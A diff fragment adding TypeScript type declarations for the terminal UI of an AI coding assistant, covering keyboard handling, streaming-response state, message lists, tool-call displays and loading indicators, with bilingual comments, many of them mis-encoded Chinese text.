+ declare function useUIState(): UIState;
770
+ /**
771
+ * Get UI actions - 获取 UI 操作
772
+ */
773
+ declare function useUIActions(): UIActions;
774
+ /**
775
+ * Get complete UI state and actions - 获取完整 UI 状态和操作
776
+ */
777
+ declare function useUI(): {
778
+ state: UIState;
779
+ actions: UIActions;
780
+ };
781
+
782
+ /**
783
+ * KeypressContext
784
+ *
785
+ * Provides a priority-based keyboard manager backed by KodaX's local terminal
786
+ * runtime. This keeps keyboard input ownership below the shell layer instead of
787
+ * depending on Ink's `useInput`.
788
+ */
789
+
790
+ interface KeypressManager {
791
+ register: (priority: number, handler: KeypressHandler) => () => void;
792
+ dispatch: (event: KeyInfo) => boolean;
793
+ size: () => number;
794
+ }
795
+ declare function createKeypressManager(): KeypressManager;
796
+ interface KeypressProviderProps {
797
+ children: ReactNode;
798
+ enabled?: boolean;
799
+ }
800
+ declare function KeypressProvider({ children, enabled, }: KeypressProviderProps): React$1.ReactElement;
801
+ declare function useKeypressManager(): KeypressManager;
802
+ declare const KeyMatchers: {
803
+ readonly isEnter: (event: KeyInfo) => boolean;
804
+ readonly isEscape: (event: KeyInfo) => boolean;
805
+ readonly isCtrlC: (event: KeyInfo) => boolean;
806
+ readonly isCtrlD: (event: KeyInfo) => boolean;
807
+ readonly isUp: (event: KeyInfo) => boolean;
808
+ readonly isDown: (event: KeyInfo) => boolean;
809
+ readonly isLeft: (event: KeyInfo) => boolean;
810
+ readonly isRight: (event: KeyInfo) => boolean;
811
+ readonly isBackspace: (event: KeyInfo) => boolean;
812
+ readonly isDelete: (event: KeyInfo) => boolean;
813
+ readonly isTab: (event: KeyInfo) => boolean;
814
+ readonly isShiftEnter: (event: KeyInfo) => boolean;
815
+ readonly isCtrlEnter: (event: KeyInfo) => boolean;
816
+ readonly isInsertable: (event: KeyInfo) => boolean;
817
+ };
818
+
819
+ /**
820
+ * StreamingContext - Streaming Response Handling
821
+ *
822
+ * Reference implementation based on Gemini CLI's StreamingContext architecture - 鍙傝€?Gemini CLI 鐨?StreamingContext 鏋舵瀯瀹炵幇
823
+ * Manages streaming response state, cancellation operations, and error handling - 绠$悊娴佸紡鍝嶅簲鐘舵€併€佸彇娑堟搷浣滃拰閿欒澶勭悊
824
+ */
825
+
826
+ /**
827
+ * Iteration record - 杩唬璁板綍
828
+ * Stores a snapshot of one iteration's thinking and response - 瀛樺偍涓€杞凯浠g殑 thinking 鍜屽搷搴斿揩鐓?
829
+ */
830
+ interface IterationRecord {
831
+ /** Iteration number (1-based) - 杩唬搴忓彿锛堜粠1寮€濮嬶級 */
832
+ iteration: number;
833
+ /** Thinking content summary (truncated) - Thinking 鍐呭鎽樿锛堟埅鏂級 */
834
+ thinkingSummary: string;
835
+ /** Full thinking content length - 瀹屾暣 thinking 鍐呭闀垮害 */
836
+ thinkingLength: number;
837
+ /** Response content - 鍝嶅簲鍐呭 */
838
+ response: string;
839
+ /** Tools used in this iteration - 鏈疆浣跨敤鐨勫伐鍏?*/
840
+ toolsUsed: string[];
841
+ }
842
+ /**
843
+ * Streaming context value - 娴佸紡涓婁笅鏂囧€?
844
+ */
845
+ interface StreamingContextValue {
846
+ /** 褰撳墠娴佸紡鐘舵€?*/
847
+ state: StreamingState;
848
+ /** 褰撳墠姝e湪娴佸紡浼犺緭鐨勫搷搴?*/
849
+ currentResponse: string;
850
+ /** 閿欒淇℃伅 */
851
+ error?: string;
852
+ /** 鐢ㄤ簬鍙栨秷璇锋眰鐨?AbortController */
853
+ abortController?: AbortController;
854
+ /** 鏄惁姝e湪 thinking */
855
+ isThinking: boolean;
856
+ /** Thinking 瀛楃璁℃暟 */
857
+ thinkingCharCount: number;
858
+ /** Thinking 鍐呭 (鐢ㄤ簬UI鏄剧ず) */
859
+ thinkingContent: string;
860
+ /** 褰撳墠鎵ц鐨勫伐鍏峰悕绉?*/
861
+ currentTool?: string;
862
+ /** 宸ュ叿杈撳叆瀛楃璁℃暟 */
863
+ toolInputCharCount: number;
864
+ /** 宸ュ叿杈撳叆鍐呭 (鐢ㄤ簬UI鏄剧ず鍙傛暟鎽樿) */
865
+ toolInputContent: string;
866
+ /** Iteration history - 杩唬鍘嗗彶 */
867
+ iterationHistory: IterationRecord[];
868
+ /** Current iteration number (1-based) - 褰撳墠杩唬搴忓彿锛堜粠1寮€濮嬶級 */
869
+ currentIteration: number;
870
+ /** Maximum iterations allowed - 鏈€澶у厑璁歌凯浠f鏁?*/
871
+ maxIter: number;
872
+ /** 鏄惁姝e湪鍘嬬缉涓婁笅鏂?*/
873
+ isCompacting: boolean;
874
+ pendingInputs: string[];
875
+ /**
876
+ * v0.7.41 — wall-clock timestamp captured when the current streaming
877
+ * round started (set by `startStreaming()`, cleared to `null` by
878
+ * `stopStreaming()` / `abort()` / `reset()`). Powers the inline
879
+ * spinner-row "(Ns · ↓ T tokens)" stats tail (claudecode parity,
880
+ * `c:/Works/claudecode/src/screens/REPL.tsx:932-953`
881
+ * `loadingStartTimeRef`).
882
+ */
883
+ roundStartedAt: number | null;
884
+ }
885
+ /**
886
+ * FEATURE_149 Phase 4 (v0.7.38) — `abort()` options.
887
+ *
888
+ * The default (no options) preserves the v0.6.0+ contract: abort drops the
889
+ * queued follow-ups so Esc's "cancel everything" UX stays predictable. The
890
+ * fast-abort path in `handleSubmit` (when the in-flight tool is tagged
891
+ * `interruptBehavior: 'cancel'`) passes `{ preservePendingInputs: true }` so
892
+ * the freshly-submitted prompt sitting in the queue survives the abort and
893
+ * is picked up by the next `runQueuedPromptSequence` iteration.
894
+ */
895
+ interface AbortOptions {
896
+ readonly preservePendingInputs?: boolean;
897
+ }
898
+ /**
899
+ * Streaming actions interface - 娴佸紡鎿嶄綔鎺ュ彛
900
+ */
901
+ interface StreamingActions {
902
+ /** 寮€濮嬫祦寮忓搷搴?*/
903
+ startStreaming: () => void;
904
+ /** 鍋滄娴佸紡鍝嶅簲 */
905
+ stopStreaming: () => void;
906
+ /** 杩藉姞鍝嶅簲鏂囨湰 */
907
+ appendResponse: (text: string) => void;
908
+ /** 娓呯┖鍝嶅簲 */
909
+ clearResponse: () => void;
910
+ /** 璁剧疆閿欒 */
911
+ setError: (error: string | undefined) => void;
912
+ /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
913
+ abort: (options?: AbortOptions) => void;
914
+ /** 閲嶇疆鐘舵€?*/
915
+ reset: () => void;
916
+ /** 寮€濮?thinking */
917
+ startThinking: () => void;
918
+ /** 杩藉姞 thinking 瀛楃鏁?*/
919
+ appendThinkingChars: (count: number) => void;
920
+ /** 杩藉姞 thinking 鍐呭 */
921
+ appendThinkingContent: (text: string) => void;
922
+ /** 缁撴潫 thinking */
923
+ stopThinking: () => void;
924
+ /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
925
+ clearThinkingContent: () => void;
926
+ /** 璁剧疆褰撳墠宸ュ叿 */
927
+ setCurrentTool: (tool: string | undefined) => void;
928
+ /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
929
+ appendToolInputChars: (count: number) => void;
930
+ /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
931
+ appendToolInputContent: (text: string) => void;
932
+ /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
933
+ clearToolInputContent: () => void;
934
+ /** 鑾峰彇褰撳墠鐨?AbortSignal (鐢ㄤ簬浼犻€掔粰 API 璇锋眰) */
935
+ getSignal: () => AbortSignal | undefined;
936
+ /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬涓柇鏃朵繚瀛?*/
937
+ getFullResponse: () => string;
938
+ /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬鎸佷箙鍖栧巻鍙茶褰?*/
939
+ getThinkingContent: () => string;
940
+ /** Start a new iteration - saves current content to history and clears for next round - 寮€濮嬫柊杩唬锛屼繚瀛樺綋鍓嶅唴瀹瑰埌鍘嗗彶骞舵竻绌?*/
941
+ startNewIteration: (iteration: number) => void;
942
+ /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
943
+ clearIterationHistory: () => void;
944
+ /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠f鏁?*/
945
+ setMaxIter: (maxIter: number) => void;
946
+ /** 寮€濮嬪帇缂╀笂涓嬫枃 */
947
+ startCompacting: () => void;
948
+ /** 缁撴潫鍘嬬缉涓婁笅鏂?*/
949
+ stopCompacting: () => void;
950
+ addPendingInput: (input: string) => void;
951
+ removeLastPendingInput: () => void;
952
+ shiftPendingInput: () => string | undefined;
953
+ clearPendingInputs: () => void;
954
+ consumePendingInputs: () => string[];
955
+ }
956
+ /**
957
+ * State change listener - 鐘舵€佸彉鏇寸洃鍚櫒
958
+ */
959
+ type StreamingStateListener = (state: StreamingContextValue) => void;
960
+ /**
961
+ * Streaming manager interface - 娴佸紡绠$悊鍣ㄦ帴鍙?
962
+ */
963
+ interface StreamingManager {
964
+ /** 鑾峰彇褰撳墠鐘舵€?*/
965
+ getState: () => StreamingContextValue;
966
+ /** 璁剧疆娴佸紡鐘舵€?*/
967
+ setState: (state: StreamingState) => void;
968
+ /** 寮€濮嬫祦寮忓搷搴?*/
969
+ startStreaming: () => void;
970
+ /** 鍋滄娴佸紡鍝嶅簲 */
971
+ stopStreaming: () => void;
972
+ /** 杩藉姞鍝嶅簲鏂囨湰 */
973
+ appendResponse: (text: string) => void;
974
+ /** 娓呯┖鍝嶅簲 */
975
+ clearResponse: () => void;
976
+ /** 璁剧疆閿欒 */
977
+ setError: (error: string | undefined) => void;
978
+ /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
979
+ abort: (options?: AbortOptions) => void;
980
+ /** 閲嶇疆鐘舵€?*/
981
+ reset: () => void;
982
+ /** 鏄惁姝e湪娴佸紡浼犺緭 */
983
+ isStreaming: () => boolean;
984
+ /** 璁㈤槄鐘舵€佸彉鏇?*/
985
+ subscribe: (listener: StreamingStateListener) => () => void;
986
+ /** 寮€濮?thinking */
987
+ startThinking: () => void;
988
+ /** 杩藉姞 thinking 瀛楃鏁?*/
989
+ appendThinkingChars: (count: number) => void;
990
+ /** 杩藉姞 thinking 鍐呭 */
991
+ appendThinkingContent: (text: string) => void;
992
+ /** 缁撴潫 thinking */
993
+ stopThinking: () => void;
994
+ /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
995
+ clearThinkingContent: () => void;
996
+ /** 璁剧疆褰撳墠宸ュ叿 */
997
+ setCurrentTool: (tool: string | undefined) => void;
998
+ /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
999
+ appendToolInputChars: (count: number) => void;
1000
+ /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
1001
+ appendToolInputContent: (text: string) => void;
1002
+ /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
1003
+ clearToolInputContent: () => void;
1004
+ /** 鑾峰彇褰撳墠鐨?AbortSignal */
1005
+ getSignal: () => AbortSignal | undefined;
1006
+ /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
1007
+ getFullResponse: () => string;
1008
+ /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
1009
+ getThinkingContent: () => string;
1010
+ /** Start a new iteration - 寮€濮嬫柊杩唬 */
1011
+ startNewIteration: (iteration: number) => void;
1012
+ /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
1013
+ clearIterationHistory: () => void;
1014
+ /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠f鏁?*/
1015
+ setMaxIter: (maxIter: number) => void;
1016
+ /** Start compacting context - 寮€濮嬪帇缂╀笂涓嬫枃 */
1017
+ startCompacting: () => void;
1018
+ /** Stop compacting context - 缁撴潫鍘嬬缉涓婁笅鏂?*/
1019
+ stopCompacting: () => void;
1020
+ addPendingInput: (input: string) => void;
1021
+ removeLastPendingInput: () => void;
1022
+ shiftPendingInput: () => string | undefined;
1023
+ clearPendingInputs: () => void;
1024
+ consumePendingInputs: () => string[];
1025
+ /**
1026
+ * FEATURE_159 (v0.7.40) — release the queue subscription set up at
1027
+ * construction time. Production providers call this on unmount;
1028
+ * tests call it between cases to prevent stale listeners on the
1029
+ * process-global MessageQueue singleton.
1030
+ */
1031
+ dispose: () => void;
1032
+ }
1033
+ /**
1034
+ * Create streaming manager - 鍒涘缓娴佸紡绠$悊鍣?
1035
+ *
1036
+ * Issue 048 fix: Use batch updates to reduce render frequency - Issue 048 淇: 浣跨敤鎵归噺鏇存柊鍑忓皯娓叉煋棰戠巼
1037
+ * - Buffer streaming text and thinking content to 80ms cycle - 娴佸紡鏂囨湰鍜?thinking 鍐呭缂撳啿鍒?80ms 鍛ㄦ湡
1038
+ * - Sync with Spinner animation to avoid race conditions - 涓?Spinner 鍔ㄧ敾鍚屾锛岄伩鍏嶇珵鎬佹潯浠?
1039
+ */
1040
+ declare function createStreamingManager(): StreamingManager;
1041
+ interface StreamingProviderProps {
1042
+ children: ReactNode;
1043
+ onStateChange?: (state: StreamingContextValue) => void;
1044
+ }
1045
+ /**
1046
+ * StreamingProvider - Provides streaming response management - 鎻愪緵娴佸紡鍝嶅簲绠$悊
1047
+ */
1048
+ declare function StreamingProvider({ children, onStateChange, }: StreamingProviderProps): React$1.ReactElement;
1049
+ /**
1050
+ * Get streaming state - 鑾峰彇娴佸紡鐘舵€?
1051
+ */
1052
+ declare function useStreamingState(): StreamingContextValue;
1053
+ /**
1054
+ * Get streaming actions - 鑾峰彇娴佸紡鎿嶄綔
1055
+ */
1056
+ declare function useStreamingActions(): StreamingActions;
1057
+ /**
1058
+ * Get complete streaming state and actions - 鑾峰彇瀹屾暣娴佸紡鐘舵€佸拰鎿嶄綔
1059
+ */
1060
+ declare function useStreaming(): {
1061
+ state: StreamingContextValue;
1062
+ actions: StreamingActions;
1063
+ isStreaming: boolean;
1064
+ };
1065
+
1066
+ /**
1067
+ * TextInput - Multi-line text input component.
1068
+ *
1069
+ * Display text content and render cursor.
1070
+ */
1071
+
1072
+ interface TextInputProps {
1073
+ lines: string[];
1074
+ cursorRow: number;
1075
+ cursorCol: number;
1076
+ prompt?: string;
1077
+ placeholder?: string;
1078
+ focus?: boolean;
1079
+ terminalFocused?: boolean;
1080
+ isPasting?: boolean;
1081
+ editingMode?: PromptEditingMode;
1082
+ theme?: string;
1083
+ width?: number;
1084
+ }
1085
+ declare const TextInput: React$1.FC<TextInputProps>;
1086
+ /**
1087
+ * Single-line TextInput (simplified version).
1088
+ */
1089
+ declare const SingleLineTextInput: React$1.FC<{
1090
+ value: string;
1091
+ cursorCol: number;
1092
+ prompt?: string;
1093
+ placeholder?: string;
1094
+ focus?: boolean;
1095
+ theme?: string;
1096
+ }>;
1097
+
1098
+ /**
1099
+ * InputPrompt - Input prompt component - 鏉堟挸鍙嗛幓鎰仛缂佸嫪娆?
1100
+ *
1101
+ * Integrates multi-line input, history navigation, keyboard shortcuts
1102
+ * through a dedicated prompt input controller. - 闁俺绻冮悪顒傜彌閻ㄥ嫯绶崗銉﹀付閸掕泛娅掗梿鍡樺灇婢舵俺顢戞潏鎾冲弳閵嗕礁宸婚崣鎻掝嚤閼割亜鎷伴柨顔炬磸韫囶偅宓庨柨顔衡偓?
1103
+ */
1104
+
1105
+ /**
1106
+ * Extended props for InputPrompt with autocomplete support
1107
+ * InputPrompt 閻ㄥ嫭澧跨仦鏇炵潣閹嶇礉閺€顖涘瘮閼奉亜濮╃悰銉ュ弿
1108
+ */
1109
+ interface InputPromptAutocompleteProps extends InputPromptProps {
1110
+ /** Working directory for file completion - 閺傚洣娆㈢悰銉ュ弿閻ㄥ嫬浼愭担婊呮窗瑜?*/
1111
+ cwd?: string;
1112
+ /** Git root for skill discovery - 閹垛偓閼宠棄褰傞悳鎵畱 Git 閺嶅湱娲拌ぐ?*/
1113
+ gitRoot?: string;
1114
+ /** Whether autocomplete is enabled (default: true) - 閺勵垰鎯侀崥顖滄暏閼奉亜濮╃悰銉ュ弿閿涘牓绮拋銈忕窗true閿?*/
1115
+ autocompleteEnabled?: boolean;
1116
+ }
1117
+ declare const InputPrompt: React$1.FC<InputPromptAutocompleteProps>;
1118
+ /**
1119
+ * Simplified InputPrompt - single-line mode - 缁犫偓閸栨牜澧?InputPrompt - 閸楁洝顢戝Ο鈥崇础
1120
+ */
1121
+ declare const SimpleInputPrompt: React$1.FC<{
1122
+ onSubmit: (text: string) => void;
1123
+ placeholder?: string;
1124
+ prompt?: string;
1125
+ }>;
1126
+
1127
+ interface StatusBarSegment {
1128
+ id: string;
1129
+ text: string;
1130
+ color?: string;
1131
+ tone?: "primary" | "accent" | "success" | "warning" | "error" | "dim";
1132
+ bold?: boolean;
1133
+ }
1134
+ interface StatusBarViewModel {
1135
+ text: string;
1136
+ segments: StatusBarSegment[];
1137
+ }
1138
+
1139
+ /**
1140
+ * StatusBar - Bottom status bar component.
1141
+ */
1142
+
1143
+ interface StatusBarRendererProps extends StatusBarProps {
1144
+ viewModel?: StatusBarViewModel;
1145
+ }
1146
+
1147
+ declare const StatusBar: React$1.FC<StatusBarRendererProps>;
1148
+ declare const SimpleStatusBar: React$1.FC<{
1149
+ permissionMode: string;
1150
+ provider: string;
1151
+ model: string;
1152
+ }>;
1153
+
1154
+ interface ScrollBoxHandle {
1155
+ scrollTo: (y: number) => void;
1156
+ scrollBy: (dy: number) => void;
1157
+ scrollToElement: (y: number, offset?: number) => void;
1158
+ scrollToBottom: () => void;
1159
+ getScrollTop: () => number;
1160
+ getPendingDelta: () => number;
1161
+ getScrollHeight: () => number;
1162
+ getViewportHeight: () => number;
1163
+ getViewportTop: () => number;
1164
+ isSticky: () => boolean;
1165
+ subscribe: (listener: () => void) => () => void;
1166
+ setClampBounds: (min: number | undefined, max: number | undefined) => void;
1167
+ }
1168
+ interface ScrollBoxWindow {
1169
+ start: number;
1170
+ end: number;
1171
+ scrollTop: number;
1172
+ scrollHeight: number;
1173
+ viewportHeight: number;
1174
+ viewportTop: number;
1175
+ pendingDelta: number;
1176
+ sticky: boolean;
1177
+ }
1178
+
1179
+ type TranscriptColorToken = "primary" | "secondary" | "accent" | "text" | "dim" | "thinking" | "success" | "warning" | "error" | "info" | "hint";
1180
+ interface TranscriptRow {
1181
+ key: string;
1182
+ text: string;
1183
+ itemId?: string;
1184
+ color?: TranscriptColorToken;
1185
+ indent?: number;
1186
+ bold?: boolean;
1187
+ italic?: boolean;
1188
+ spinner?: boolean;
1189
+ }
1190
+ interface TranscriptSection {
1191
+ key: string;
1192
+ rows: TranscriptRow[];
1193
+ }
1194
+ interface TranscriptRenderModel {
1195
+ staticSections: TranscriptSection[];
1196
+ sections: TranscriptSection[];
1197
+ rows: TranscriptRow[];
1198
+ previewSections: TranscriptSection[];
1199
+ previewRows: TranscriptRow[];
1200
+ }
1201
+
1202
+ interface TranscriptRowSelectionRange {
1203
+ start: number;
1204
+ end: number;
1205
+ }
1206
+
1207
+ /**
1208
+ * MessageList
1209
+ *
1210
+ * Reference Gemini CLI's message display architecture implementation.
1211
+ * Support HistoryItem types: user, assistant, tool_group, thinking, error, event, info, and hint.
1212
+ */
1213
+
1214
+ interface MessageListProps {
1215
+ /** History item list */
1216
+ items: HistoryItem[];
1217
+ /** Whether loading */
1218
+ isLoading?: boolean;
1219
+ /** Maximum display lines before truncation */
1220
+ maxLines?: number;
1221
+ /** Whether thinking output is currently being shown. */
1222
+ isThinking?: boolean;
1223
+ /** Character count for the current thinking output. */
1224
+ thinkingCharCount?: number;
1225
+ /** Thinking content shown during streaming. */
1226
+ thinkingContent?: string;
1227
+ /** Current streaming response text shown in real time. */
1228
+ streamingResponse?: string;
1229
+ /** Name of the tool currently being executed. */
1230
+ currentTool?: string;
1231
+ /** Tool calls in the active response, including completed items from the current live batch. */
1232
+ activeToolCalls?: ToolCall[];
1233
+ /** Character count for the current tool input preview. */
1234
+ toolInputCharCount?: number;
1235
+ /** Tool input content preview for display */
1236
+ toolInputContent?: string;
1237
+ /** Completed iteration history for the active response. */
1238
+ iterationHistory?: IterationRecord[];
1239
+ /** Sequence number for the active iteration. */
1240
+ currentIteration?: number;
1241
+ /** Whether context compaction is in progress */
1242
+ isCompacting?: boolean;
1243
+ /** Managed-task agent mode shown in live transcript state */
1244
+ agentMode?: "sa" | "ama";
1245
+ /** Managed-task phase shown in live transcript state */
1246
+ managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "completed";
1247
+ /** Managed-task harness profile shown in live transcript state */
1248
+ managedHarnessProfile?: string;
1249
+ /** Managed-task active worker title shown in live transcript state */
1250
+ managedWorkerTitle?: string;
1251
+ /** Managed-task current round */
1252
+ managedRound?: number;
1253
+ /** Managed-task maximum rounds */
1254
+ managedMaxRounds?: number;
1255
+ /** Managed-task global work budget */
1256
+ managedGlobalWorkBudget?: number;
1257
+ /** Managed-task current work usage */
1258
+ managedBudgetUsage?: number;
1259
+ /** Whether the run is waiting on budget approval */
1260
+ managedBudgetApprovalRequired?: boolean;
1261
+ /** Last known live activity label used when the stream is between deltas */
1262
+ lastLiveActivityLabel?: string;
1263
+ /** Visible viewport rows for transcript slicing */
1264
+ viewportRows?: number;
1265
+ /** Optional width override for deterministic transcript layout */
1266
+ viewportWidth?: number;
1267
+ /** Scroll offset from the bottom of the transcript, in rendered rows */
1268
+ scrollOffset?: number;
1269
+ /** Whether spinner glyphs should animate in rendered rows */
1270
+ animateSpinners?: boolean;
1271
+ /** Whether to render the transcript as a windowed viewport owned by the app */
1272
+ windowed?: boolean;
1273
+ /** Whether thinking content should render in verbose form */
1274
+ showFullThinking?: boolean;
1275
+ /** Whether tool details should render in verbose form */
1276
+ showDetailedTools?: boolean;
1277
+ /** Whether transcript-only "show all" should disable compact truncation */
1278
+ showAllContent?: boolean;
1279
+ /** Whether prompt/live progress helper rows should render inside the transcript */
1280
+ showLiveProgressRows?: boolean;
1281
+ /** Optional selected transcript item id for browse mode affordances */
1282
+ selectedItemId?: string;
1283
+ /** Optional expanded transcript item ids */
1284
+ expandedItemKeys?: ReadonlySet<string>;
1285
+ /** Optional transcript metrics callback for owned scroll controllers */
1286
+ onMetricsChange?: (metrics: {
1287
+ scrollHeight: number;
1288
+ viewportHeight: number;
1289
+ }) => void;
1290
+ /** Optional callback with the currently visible rows */
1291
+ onVisibleRowsChange?: (snapshot: {
1292
+ rows: TranscriptRow[];
1293
+ allRows: TranscriptRow[];
1294
+ }) => void;
1295
+ /** Optional renderer-owned transcript window */
1296
+ rendererWindow?: Pick<ScrollBoxWindow, "start" | "end" | "scrollHeight" | "viewportHeight" | "scrollTop" | "viewportTop" | "pendingDelta" | "sticky">;
1297
+ /** Optional text selection ranges for app-owned transcript selection */
1298
+ selectedTextRanges?: ReadonlyMap<string, TranscriptRowSelectionRange>;
1299
+ /** Optional prebuilt transcript render model for owned fullscreen paths */
1300
+ transcriptModel?: TranscriptRenderModel;
1301
+ /** Optional precomputed visible transcript rows */
1302
+ visibleRowsOverride?: TranscriptRow[];
1303
+ }
1304
+ interface HistoryItemRendererProps {
1305
+ item: HistoryItem;
1306
+ theme?: Theme;
1307
+ maxLines?: number;
1308
+ }
1309
+ /**
1310
+ * History item renderer
1311
+ * Dispatch to corresponding renderer based on type
1312
+ */
1313
+ declare const HistoryItemRenderer: React$1.FC<HistoryItemRendererProps>;
1314
+ declare const MessageList: React$1.FC<MessageListProps>;
1315
+
1316
+ /**
1317
+ * Simplified message display.
1318
+ */
1319
+ declare const SimpleMessageDisplay: React$1.FC<{
1320
+ role: "user" | "assistant" | "system";
1321
+ content: string;
1322
+ }>;
1323
+
1324
+ /**
1325
+ * ToolGroup - Tool execution display component - 工具执行显示组件
1326
+ *
1327
+ * Reference Gemini CLI's tool execution display architecture implementation - 参考 Gemini CLI 的工具执行显示架构实现。
1328
+ * Display tool call status, progress, and results - 显示工具调用状态、进度和结果。
1329
+ */
1330
+
1331
+ interface ToolGroupProps {
1332
+ /** List of tool calls - 工具调用列表 */
1333
+ tools: ToolCall[];
1334
+ /** Whether to collapse display - 是否折叠显示 */
1335
+ collapsed?: boolean;
1336
+ /** Custom title - 自定义标题 */
1337
+ title?: string;
1338
+ /** Theme - 主题 */
1339
+ theme?: Theme;
1340
+ }
1341
+ interface ToolCallDisplayProps {
1342
+ /** Tool call - 工具调用 */
1343
+ tool: ToolCall;
1344
+ /** Whether collapsed - 是否折叠 */
1345
+ collapsed?: boolean;
1346
+ /** Theme - 主题 */
1347
+ theme?: Theme;
1348
+ }
1349
+ interface ToolStatusBadgeProps {
1350
+ /** Status - 状态 */
1351
+ status: ToolCallStatus;
1352
+ /** Theme - 主题 */
1353
+ theme?: Theme;
1354
+ }
1355
+ interface ToolProgressBarProps {
1356
+ /** Progress (0-100) - 进度 (0-100) */
1357
+ progress: number;
1358
+ /** Bar width - 条宽度 */
1359
+ width?: number;
1360
+ /** Theme - 主题 */
1361
+ theme?: Theme;
1362
+ }
1363
+ /**
1364
+ * Tool status badge - 工具状态徽章
1365
+ */
1366
+ declare const ToolStatusBadge: React$1.FC<ToolStatusBadgeProps>;
1367
+ /**
1368
+ * Tool progress bar - 工具进度条
1369
+ */
1370
+ declare const ToolProgressBar: React$1.FC<ToolProgressBarProps>;
1371
+ /**
1372
+ * Tool call display component - 工具调用显示组件
1373
+ */
1374
+ declare const ToolCallDisplay: React$1.FC<ToolCallDisplayProps>;
1375
+ /**
1376
+ * Tool group display component - 工具组显示组件
1377
+ */
1378
+ declare const ToolGroup: React$1.FC<ToolGroupProps>;
1379
+
1380
+ /**
1381
+ * LoadingIndicator - Loading and thinking indicator component - 加载和思考指示器组件
1382
+ *
1383
+ * Reference Gemini CLI's loading display architecture implementation.
1384
+ * Provide multiple loading state visualization methods - 参考 Gemini CLI 的加载显示架构实现,提供多种加载状态可视化方式。
1385
+ */
1386
+
1387
+ type LoadingIndicatorType = "spinner" | "dots" | "bar" | "simple";
1388
+ interface LoadingIndicatorProps {
1389
+ /** Main message - 主消息 */
1390
+ message?: string;
1391
+ /** Sub message - 子消息 */
1392
+ subMessage?: string;
1393
+ /** Progress (0-100) - 进度 (0-100) */
1394
+ progress?: number;
1395
+ /** Type - 类型 */
1396
+ type?: LoadingIndicatorType;
1397
+ /** Compact mode - 紧凑模式 */
1398
+ compact?: boolean;
1399
+ /** Theme - 主题 */
1400
+ theme?: Theme;
1401
+ }
1402
+ interface ThinkingIndicatorProps {
1403
+ /** Custom message - 自定义消息 */
1404
+ message?: string;
1405
+ /** Show spinner - 显示旋转器 */
1406
+ showSpinner?: boolean;
1407
+ /** Theme - 主题 */
1408
+ theme?: Theme;
1409
+ }
1410
+ interface SpinnerProps {
1411
+ /** Color - 颜色 */
1412
+ color?: string;
1413
+ /** Theme - 主题 */
1414
+ theme?: Theme;
1415
+ }
1416
+ interface DotsIndicatorProps {
1417
+ /** Label - 标签 */
1418
+ label?: string;
1419
+ /** Dot count - 点数量 */
1420
+ dotCount?: number;
1421
+ /** Theme - 主题 */
1422
+ theme?: Theme;
1423
+ }
1424
+ interface ProgressIndicatorProps {
1425
+ /** Progress (0-100) - 进度 (0-100) */
1426
+ progress: number;
1427
+ /** Label - 标签 */
1428
+ label?: string;
1429
+ /** Bar width - 条宽度 */
1430
+ width?: number;
1431
+ /** Theme - 主题 */
1432
+ theme?: Theme;
1433
+ }
1434
+ /**
1435
+ * Spinner — braille-glyph rotation tied to the shared 80ms tick. Used
1436
+ * standalone (e.g. assistant header) and inside `TranscriptRowRenderer`'s
1437
+ * loading-indicator row. All instances cycle in lockstep.
1438
+ */
1439
+ declare const Spinner: React$1.FC<SpinnerProps>;
1440
+ /**
1441
+ * Dots indicator component - 点指示器组件
1442
+ */
1443
+ declare const DotsIndicator: React$1.FC<DotsIndicatorProps>;
1444
+ /**
1445
+ * Progress indicator component - 进度指示器组件
1446
+ */
1447
+ declare const ProgressIndicator: React$1.FC<ProgressIndicatorProps>;
1448
+ /**
1449
+ * Thinking indicator component - 思考指示器组件
1450
+ */
1451
+ declare const ThinkingIndicator: React$1.FC<ThinkingIndicatorProps>;
1452
+ /**
1453
+ * Loading indicator component - 加载指示器组件
1454
+ */
1455
+ declare const LoadingIndicator: React$1.FC<LoadingIndicatorProps>;
1456
+
1457
+ /**
1458
+ * SuggestionsDisplay - Autocomplete suggestion display component - 自动补全建议显示组件
1459
+ *
1460
+ * Display autocomplete suggestions list with support for:
1461
+ * - Highlight selected item - 高亮选中项
1462
+ * - Scroll display (when suggestions exceed max visible) - 滚动显示(当建议数量超过最大可见数)
1463
+ * - Description display - 描述显示
1464
+ * - Type icons - 类型图标
1465
+ */
1466
+
1467
+ interface SuggestionsDisplayProps {
1468
+ /** Suggestion list - 建议列表 */
1469
+ suggestions: Suggestion[];
1470
+ /** Current selected index - 当前选中索引 */
1471
+ selectedIndex: number;
1472
+ /** Whether visible - 是否可见 */
1473
+ visible: boolean;
1474
+ /** Maximum visible count - 最大可见数量 */
1475
+ maxVisible?: number;
1476
+ /** Container width - 容器宽度 */
1477
+ width?: number;
1478
+ /** Whether to show count - 是否显示计数 */
1479
+ showCount?: boolean;
1480
+ }
1481
+ /**
1482
+ * Suggestion display component - 建议显示组件
1483
+ */
1484
+ declare function SuggestionsDisplay({ suggestions, selectedIndex, visible, maxVisible, width, showCount, }: SuggestionsDisplayProps): React$1.ReactElement | null;
1485
+
1486
+ interface PendingInputsIndicatorProps {
1487
+ pendingInputs: readonly string[];
1488
+ }
1489
